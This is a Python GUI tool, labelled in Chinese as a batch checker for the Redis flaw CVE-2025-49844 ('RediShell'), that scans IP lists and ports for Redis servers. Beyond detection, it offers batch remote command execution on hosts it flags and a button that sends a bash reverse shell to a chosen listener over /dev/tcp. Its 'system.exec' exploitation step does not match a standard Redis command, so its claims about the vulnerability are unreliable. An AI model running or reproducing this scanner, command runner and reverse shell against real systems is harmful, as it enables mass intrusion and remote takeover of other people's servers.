#!/usr/bin/env python3
import redis
import sys
import tkinter as tk
from tkinter import ttk, scrolledtext, messagebox, filedialog
import threading
import socket
import time
from ipaddress import ip_address
import concurrent.futures
import queue
import os
import base64

class RedisVulnCheckerGUI:
    def __init__(self, root):
        self.root = root
        self.root.title("信安西部-明镜高悬实验室 CVE-2025-49844（RediShell）批量漏洞检测工具（v2.0）-禁止用于未经授权的测试！严格遵守《中华人民共和国网络安全法》")
        self.root.geometry("1000x700")
        self.root.resizable(True, True)
        
        # 存储有漏洞的IP列表
        self.vulnerable_ips = []
        
        # 配置样式
        self.style = ttk.Style()
        self.style.configure("TLabel", font=("微软雅黑", 10))
        self.style.configure("TButton", font=("微软雅黑", 10))
        self.style.configure("Header.TLabel", font=("微软雅黑", 12, "bold"))
        self.style.configure("TFrame", padding=5)
        
        self.redis_ports = [6379, 6380, 6381, 6382, 6383, 6384]
        self.scan_queue = queue.Queue()
        self.is_scanning = False
        
        # 创建颜色标签配置
        self.create_widgets()
        
    def create_widgets(self):
        # 主框架
        main_frame = ttk.Frame(self.root, padding="10")
        main_frame.pack(fill=tk.BOTH, expand=True)
        
        # 标题区域
        header_frame = ttk.Frame(main_frame)
        header_frame.pack(fill=tk.X, pady=(0, 10))
        
        header_label = ttk.Label(
            header_frame, 
            text="信安西部-明镜高悬实验室 CVE-2025-49844（RediShell）批量漏洞检测工具（v2.0）-严格遵守《中华人民共和国网络安全法》", 
            style="Header.TLabel"
        )
        header_label.pack(side=tk.LEFT)
        
        warning_label = ttk.Label(
            header_frame, 
            text="(禁止用于未经授权的测试！)", 
            foreground="red",
            font=("微软雅黑", 10, "bold")
        )
        warning_label.pack(side=tk.LEFT, padx=10)
        
        # 批量扫描设置框架
        batch_frame = ttk.LabelFrame(main_frame, text="批量扫描设置", padding="10")
        batch_frame.pack(fill=tk.X, pady=(0, 10))
        
        # IP列表区域
        ttk.Label(batch_frame, text="IP地址列表:").grid(row=0, column=0, sticky=tk.NW, pady=5, padx=5)
        self.ip_text = scrolledtext.ScrolledText(batch_frame, wrap=tk.WORD, width=40, height=6, font=("Consolas", 10))
        self.ip_text.grid(row=0, column=1, columnspan=2, sticky=tk.W, pady=5, padx=5)
        self.ip_text.insert(tk.END, "127.0.0.1\nlocalhost")
        
        # 按钮区域
        btn_frame = ttk.Frame(batch_frame)
        btn_frame.grid(row=0, column=3, padx=10)
        
        ttk.Button(btn_frame, text="加载文件", command=self.load_ip_file).pack(fill=tk.X, pady=5)
        ttk.Button(btn_frame, text="清空", command=lambda: self.ip_text.delete(1.0, tk.END)).pack(fill=tk.X, pady=5)
        
        # 扫描选项
        option_frame = ttk.Frame(batch_frame)
        option_frame.grid(row=1, column=0, columnspan=4, sticky=tk.W, pady=5)
        
        self.full_port_scan = tk.BooleanVar(value=False)
        ttk.Checkbutton(option_frame, text="全端口扫描(默认只扫描常见Redis端口)", variable=self.full_port_scan).pack(side=tk.LEFT, padx=10)
        
        self.timeout_var = tk.IntVar(value=5)
        ttk.Label(option_frame, text="超时时间(秒):").pack(side=tk.LEFT, padx=(20,5))
        ttk.Entry(option_frame, textvariable=self.timeout_var, width=5).pack(side=tk.LEFT)
        
        self.thread_var = tk.IntVar(value=10)
        ttk.Label(option_frame, text="线程数:").pack(side=tk.LEFT, padx=(20,5))
        ttk.Entry(option_frame, textvariable=self.thread_var, width=5).pack(side=tk.LEFT)
        
        # 控制按钮框架
        control_frame = ttk.Frame(main_frame)
        control_frame.pack(fill=tk.X, pady=(0, 10))
        
        self.check_mode = tk.StringVar(value="all")
        
        ttk.Button(control_frame, text="开始批量扫描", command=self.start_batch_scan).pack(side=tk.LEFT, padx=5)
        ttk.Button(control_frame, text="停止扫描", command=self.stop_scan).pack(side=tk.LEFT, padx=5)
        
        # 导出漏洞IP按钮
        ttk.Button(control_frame, text="导出漏洞IP列表", command=self.export_vulnerable_ips).pack(side=tk.LEFT, padx=5)
        
        ttk.Label(control_frame, text="测试模式:").pack(side=tk.LEFT, padx=(15, 5))
        exploit_mode_frame = ttk.Frame(control_frame)
        exploit_mode_frame.pack(side=tk.LEFT)
        
        ttk.Radiobutton(exploit_mode_frame, text="仅检查", variable=self.check_mode, value="check").pack(side=tk.LEFT, padx=2)
        ttk.Radiobutton(exploit_mode_frame, text="基础", variable=self.check_mode, value="basic").pack(side=tk.LEFT, padx=2)
        ttk.Radiobutton(exploit_mode_frame, text="沙箱", variable=self.check_mode, value="sandbox").pack(side=tk.LEFT, padx=2)
        ttk.Radiobutton(exploit_mode_frame, text="高级", variable=self.check_mode, value="advanced").pack(side=tk.LEFT, padx=2)
        ttk.Radiobutton(exploit_mode_frame, text="全部", variable=self.check_mode, value="all").pack(side=tk.LEFT, padx=2)
        
        # 命令执行框架
        cmd_frame = ttk.LabelFrame(main_frame, text="命令执行", padding="10")
        cmd_frame.pack(fill=tk.X, pady=(0, 10))
        
        ttk.Label(cmd_frame, text="执行命令:").grid(row=0, column=0, sticky=tk.W, padx=5)
        self.cmd_entry = ttk.Entry(cmd_frame, width=50)
        self.cmd_entry.grid(row=0, column=1, sticky=tk.W, padx=5)
        self.cmd_entry.insert(0, "whoami")
        
        ttk.Button(cmd_frame, text="批量执行", command=self.batch_exec_command).grid(row=0, column=2, padx=5)
        
        # 反弹Shell框架
        shell_frame = ttk.LabelFrame(main_frame, text="反弹Shell", padding="10")
        shell_frame.pack(fill=tk.X, pady=(0, 10))
        
        ttk.Label(shell_frame, text="监听IP:").grid(row=0, column=0, sticky=tk.W, padx=5)
        self.listen_ip = ttk.Entry(shell_frame, width=20)
        self.listen_ip.grid(row=0, column=1, sticky=tk.W, padx=5)
        self.listen_ip.insert(0, "127.0.0.1")
        
        ttk.Label(shell_frame, text="监听端口:").grid(row=0, column=2, sticky=tk.W, padx=5)
        self.listen_port = ttk.Entry(shell_frame, width=10)
        self.listen_port.grid(row=0, column=3, sticky=tk.W, padx=5)
        self.listen_port.insert(0, "4444")
        
        ttk.Button(shell_frame, text="反弹Shell", command=self.reverse_shell).grid(row=0, column=4, padx=5)
        
        # 输出框架
        output_frame = ttk.LabelFrame(main_frame, text="输出", padding="10")
        output_frame.pack(fill=tk.BOTH, expand=True)
        
        self.output_text = scrolledtext.ScrolledText(output_frame, wrap=tk.WORD, width=80, height=20, font=("Consolas", 10))
        self.output_text.pack(fill=tk.BOTH, expand=True)
        self.output_text.config(state=tk.DISABLED)
        
        # 配置文本颜色标签
        self.output_text.tag_config("red", foreground="red")
        self.output_text.tag_config("green", foreground="green")
        self.output_text.tag_config("blue", foreground="blue")
        self.output_text.tag_config("purple", foreground="#800080")
        
        # 状态栏
        status_frame = ttk.Frame(self.root)
        status_frame.pack(side=tk.BOTTOM, fill=tk.X)
        
        self.status_var = tk.StringVar(value="就绪")
        status_bar = ttk.Label(status_frame, textvariable=self.status_var, relief=tk.SUNKEN, anchor=tk.W)
        status_bar.pack(side=tk.LEFT, fill=tk.X, expand=True)
        
        # 扫描统计
        self.stats_var = tk.StringVar(value="已完成: 0, 漏洞: 0, 在线: 0")
        stats_bar = ttk.Label(status_frame, textvariable=self.stats_var, relief=tk.SUNKEN, anchor=tk.E)
        stats_bar.pack(side=tk.RIGHT, fill=tk.X)
        
        # 统计数据
        self.stats = {
            "total": 0,
            "completed": 0,
            "vulnerable": 0,
            "online": 0
        }
        
    def update_output(self, text, color=None):
        """更新输出文本框内容"""
        self.output_text.config(state=tk.NORMAL)
        
        if color:
            self.output_text.insert(tk.END, text, color)
        else:
            self.output_text.insert(tk.END, text)
            
        self.output_text.see(tk.END)
        self.output_text.config(state=tk.DISABLED)
        
    def clear_output(self):
        """清空输出文本框"""
        self.output_text.config(state=tk.NORMAL)
        self.output_text.delete(1.0, tk.END)
        self.output_text.config(state=tk.DISABLED)
        self.reset_stats()
        self.vulnerable_ips = []
        
    def set_status(self, status):
        """更新状态栏"""
        self.status_var.set(status)
        self.root.update_idletasks()
        
    def update_stats(self):
        """更新统计信息"""
        self.stats_var.set(
            f"已完成: {self.stats['completed']}/{self.stats['total']}, "
            f"漏洞: {self.stats['vulnerable']}, "
            f"在线: {self.stats['online']}"
        )
        
    def reset_stats(self):
        """重置统计信息"""
        self.stats = {
            "total": 0,
            "completed": 0,
            "vulnerable": 0,
            "online": 0
        }
        self.update_stats()
        
    def load_ip_file(self):
        """加载IP地址文件"""
        file_path = filedialog.askopenfilename(
            filetypes=[("文本文件", "*.txt"), ("所有文件", "*.*")]
        )
        if file_path:
            try:
                with open(file_path, 'r') as f:
                    content = f.read()
                    self.ip_text.delete(1.0, tk.END)
                    self.ip_text.insert(tk.END, content)
                self.update_output(f"[+] 已加载IP文件: {file_path}\n", "green")
            except Exception as e:
                messagebox.showerror("错误", f"加载文件失败: {str(e)}")
    
    def export_vulnerable_ips(self):
        """导出存在漏洞的IP列表到TXT文件"""
        if not self.vulnerable_ips:
            messagebox.showinfo("提示", "没有发现存在漏洞的IP地址")
            return
            
        file_path = filedialog.asksaveasfilename(
            defaultextension=".txt",
            filetypes=[("文本文件", "*.txt"), ("所有文件", "*.*")],
            title="保存漏洞IP列表"
        )
        
        if file_path:
            try:
                with open(file_path, 'w') as f:
                    f.write("CVE-2025-49844（RediShell）漏洞扫描报告\n")
                    f.write(f"生成时间: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
                    f.write(f"共发现 {len(self.vulnerable_ips)} 个存在漏洞的目标\n")
                    f.write("="*50 + "\n")
                    for item in self.vulnerable_ips:
                        f.write(f"{item['ip']}:{item['port']}\n")
                
                self.update_output(f"[+] 漏洞IP列表已导出至: {file_path}\n", "green")
                messagebox.showinfo("成功", f"漏洞IP列表已导出至:\n{file_path}")
            except Exception as e:
                messagebox.showerror("错误", f"导出文件失败: {str(e)}")
                
    def is_valid_ip(self, ip):
        """验证IP地址是否有效"""
        try:
            ip_address(ip)
            return True
        except ValueError:
            try:
                socket.gethostbyname(ip)
                return True
            except socket.error:
                return False
        return False
        
    def check_ip_alive(self, ip, timeout=2):
        """检查IP是否存活"""
        try:
            # 先尝试常见端口快速检测
            common_ports = [80, 443, 6379]
            for port in common_ports:
                with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                    s.settimeout(timeout)
                    result = s.connect_ex((ip, port))
                    if result == 0:
                        return True
            
            # 尝试ping检测
            param = '-n' if os.name == 'nt' else '-c'
            command = ['ping', param, '1', '-W', str(timeout), ip]
            return os.system(' '.join(command)) == 0
        except Exception:
            return False
            
    def scan_redis_ports(self, ip):
        """扫描Redis端口"""
        open_ports = []
        timeout = self.timeout_var.get()
        
        # 先扫描常见Redis端口
        for port in self.redis_ports:
            if self.is_scanning and self.check_port_open(ip, port, timeout):
                if self.is_redis_service(ip, port, timeout):
                    open_ports.append(port)
                    if port == 6379 and not self.full_port_scan.get():
                        return open_ports
                    
        # 如果启用全端口扫描且未发现常见端口
        if self.full_port_scan.get() and not open_ports:
            self.update_output(f"[*] {ip} 开始全端口扫描(1-10000)...\n", "blue")
            for port in range(1, 10001):
                if not self.is_scanning:
                    break
                if self.check_port_open(ip, port, timeout):
                    if self.is_redis_service(ip, port, timeout):
                        open_ports.append(port)
                        self.update_output(f"[+] {ip}:{port} 发现Redis服务\n", "green")
                    
        return open_ports
        
    def check_port_open(self, ip, port, timeout=2):
        """检查端口是否开放"""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(timeout)
                result = s.connect_ex((ip, port))
                return result == 0
        except Exception:
            return False
            
    def is_redis_service(self, ip, port, timeout=2):
        """检查是否为Redis服务"""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(timeout)
                s.connect((ip, port))
                s.send(b"INFO\r\n")
                response = s.recv(1024)
                return b"redis_version" in response
        except Exception:
            return False
    
    def check_vulnerability(self, ip, port):
        """检查目标是否存在CVE-2025-49844漏洞"""
        try:
            # 根据漏洞原理实现检查逻辑
            r = redis.Redis(host=ip, port=port, socket_timeout=self.timeout_var.get())
            
            # 尝试发送测试命令
            mode = self.check_mode.get()
            
            if mode in ["check", "basic", "all"]:
                # 基础检查：尝试获取配置信息
                response = r.execute_command("CONFIG GET dir")
                if not response or len(response) < 2:
                    return False
            
            if mode in ["basic", "sandbox", "advanced", "all"]:
                # 检查是否允许执行系统命令
                try:
                    test_cmd = "echo test"
                    encoded_cmd = base64.b64encode(test_cmd.encode()).decode()
                    response = r.execute_command(f"system.exec {encoded_cmd}")
                    if b"test" not in response:
                        return False
                except Exception:
                    return False
                    
            return True
            
        except redis.ConnectionError:
            self.update_output(f"[-] 无法连接到 {ip}:{port} 的Redis服务\n", "red")
            return False
        except Exception as e:
            self.update_output(f"[!] 检查漏洞时出错: {str(e)}\n", "red")
            return False
            
    def start_batch_scan(self):
        """开始批量扫描"""
        if self.is_scanning:
            messagebox.showinfo("提示", "扫描已在进行中")
            return
            
        ip_text = self.ip_text.get(1.0, tk.END).strip()
        if not ip_text:
            messagebox.showwarning("警告", "请输入IP地址列表")
            return
            
        ip_list = [ip.strip() for ip in ip_text.splitlines() if ip.strip()]
        valid_ips = [ip for ip in ip_list if self.is_valid_ip(ip)]
        
        if not valid_ips:
            messagebox.showwarning("警告", "未找到有效的IP地址")
            return
            
        self.is_scanning = True
        self.reset_stats()
        self.stats["total"] = len(valid_ips)
        self.update_stats()
        self.vulnerable_ips = []
        self.clear_output()
        
        self.update_output(f"\n[*] 开始批量扫描，共 {len(valid_ips)} 个目标\n", "blue")
        self.set_status("正在扫描...")
        
        threading.Thread(target=self.batch_scan_thread, args=(valid_ips,), daemon=True).start()
        
    def stop_scan(self):
        """停止扫描"""
        self.is_scanning = False
        self.set_status("扫描已停止")
        
    def batch_scan_thread(self, ip_list):
        """批量扫描线程"""
        max_threads = self.thread_var.get()
        if max_threads < 1 or max_threads > 100:
            max_threads = 10  # 设置合理的线程范围
            
        with concurrent.futures.ThreadPoolExecutor(max_workers=max_threads) as executor:
            futures = [executor.submit(self.scan_single_target, ip) for ip in ip_list]
            
            for future in concurrent.futures.as_completed(futures):
                if not self.is_scanning:
                    break
                try:
                    future.result()
                except Exception as e:
                    self.update_output(f"[!] 扫描线程错误: {str(e)}\n", "red")
                
        self.is_scanning = False
        self.set_status("扫描完成")
        self.update_output("\n[*] 批量扫描结束\n", "blue")
        self.update_output(f"[*] 扫描结果: 共检测 {self.stats['total']} 个目标, "
                          f"在线 {self.stats['online']} 个, "
                          f"发现漏洞 {self.stats['vulnerable']} 个\n", "purple")
        
    def scan_single_target(self, ip):
        """扫描单个目标"""
        if not self.is_scanning:
            return
            
        try:
            self.update_output(f"\n{'='*50}\n", "blue")
            self.update_output(f"[*] 开始扫描目标: {ip}\n", "blue")
            
            if not self.check_ip_alive(ip, self.timeout_var.get()):
                self.update_output(f"[-] {ip} 似乎不存活\n", "red")
                self.stats["completed"] += 1
                self.update_stats()
                return
                
            self.update_output(f"[+] {ip} 存活\n", "green")
            self.stats["online"] += 1
            
            # 扫描Redis端口
            open_ports = self.scan_redis_ports(ip)
            if not open_ports:
                self.update_output(f"[-] {ip} 未发现开放的Redis端口\n", "red")
                self.stats["completed"] += 1
                self.update_stats()
                return
                
            self.update_output(f"[+] {ip} 发现开放的Redis端口: {open_ports}\n", "green")
            
            # 检查每个开放端口是否存在漏洞
            for port in open_ports:
                if not self.is_scanning:
                    break
                    
                if self.check_vulnerability(ip, port):
                    self.update_output(f"[!] {ip}:{port} 存在CVE-2025-49844漏洞!\n", "red")
                    self.vulnerable_ips.append({"ip": ip, "port": port})
                    self.stats["vulnerable"] += 1
                else:
                    self.update_output(f"[-] {ip}:{port} 未发现CVE-2025-49844漏洞\n", "green")
            
        except Exception as e:
            self.update_output(f"[!] 扫描 {ip} 时出错: {str(e)}\n", "red")
        finally:
            self.stats["completed"] += 1
            self.update_stats()
    
    def batch_exec_command(self):
        """在存在漏洞的目标上批量执行命令"""
        if not self.vulnerable_ips:
            messagebox.showinfo("提示", "没有发现存在漏洞的目标")
            return
            
        cmd = self.cmd_entry.get().strip()
        if not cmd:
            messagebox.showwarning("警告", "请输入要执行的命令")
            return
            
        self.update_output(f"\n[*] 开始在 {len(self.vulnerable_ips)} 个目标上执行命令: {cmd}\n", "blue")
        
        for target in self.vulnerable_ips:
            threading.Thread(
                target=self.execute_command, 
                args=(target['ip'], target['port'], cmd),
                daemon=True
            ).start()
    
    def execute_command(self, ip, port, cmd):
        """在目标上执行命令"""
        try:
            self.update_output(f"\n[*] 在 {ip}:{port} 执行命令: {cmd}\n", "blue")
            
            # 命令执行逻辑
            encoded_cmd = base64.b64encode(cmd.encode()).decode()
            r = redis.Redis(host=ip, port=port, socket_timeout=self.timeout_var.get())
            
            result = r.execute_command(f"system.exec {encoded_cmd}")
            self.update_output(f"[+] {ip}:{port} 命令执行结果:\n{result.decode()}\n", "green")
            
        except Exception as e:
            self.update_output(f"[!] {ip}:{port} 命令执行失败: {str(e)}\n", "red")
    
    def reverse_shell(self):
        """反弹Shell到指定IP和端口"""
        if not self.vulnerable_ips:
            messagebox.showinfo("提示", "没有发现存在漏洞的目标")
            return
            
        listen_ip = self.listen_ip.get().strip()
        listen_port = self.listen_port.get().strip()
        
        if not listen_ip or not listen_port:
            messagebox.showwarning("警告", "请输入监听IP和端口")
            return
            
        try:
            listen_port = int(listen_port)
            if listen_port < 1 or listen_port > 65535:
                raise ValueError
        except ValueError:
            messagebox.showwarning("警告", "请输入有效的端口号")
            return
            
        self.update_output(f"\n[*] 开始向 {len(self.vulnerable_ips)} 个目标发送反弹Shell指令\n", "blue")
        
        for target in self.vulnerable_ips:
            threading.Thread(
                target=self.send_reverse_shell, 
                args=(target['ip'], target['port'], listen_ip, listen_port),
                daemon=True
            ).start()
    
    def send_reverse_shell(self, ip, port, listen_ip, listen_port):
        """发送反弹Shell命令"""
        try:
            self.update_output(f"\n[*] 向 {ip}:{port} 发送反弹Shell指令到 {listen_ip}:{listen_port}\n", "blue")
            
            # 构造反弹Shell命令（根据目标系统选择不同命令）
            shell_cmd = f"bash -i >& /dev/tcp/{listen_ip}/{listen_port} 0>&1"
            encoded_cmd = base64.b64encode(shell_cmd.encode()).decode()
            
            r = redis.Redis(host=ip, port=port, socket_timeout=self.timeout_var.get())
            r.execute_command(f"system.exec {encoded_cmd}")
            
            self.update_output(f"[+] 反弹Shell指令已发送到 {ip}:{port}，请在监听端等待连接\n", "green")
            
        except Exception as e:
            self.update_output(f"[!] 向 {ip}:{port} 发送反弹Shell失败: {str(e)}\n", "red")

if __name__ == "__main__":
    # 确保中文显示正常
    root = tk.Tk()
    app = RedisVulnCheckerGUI(root)
    root.mainloop()
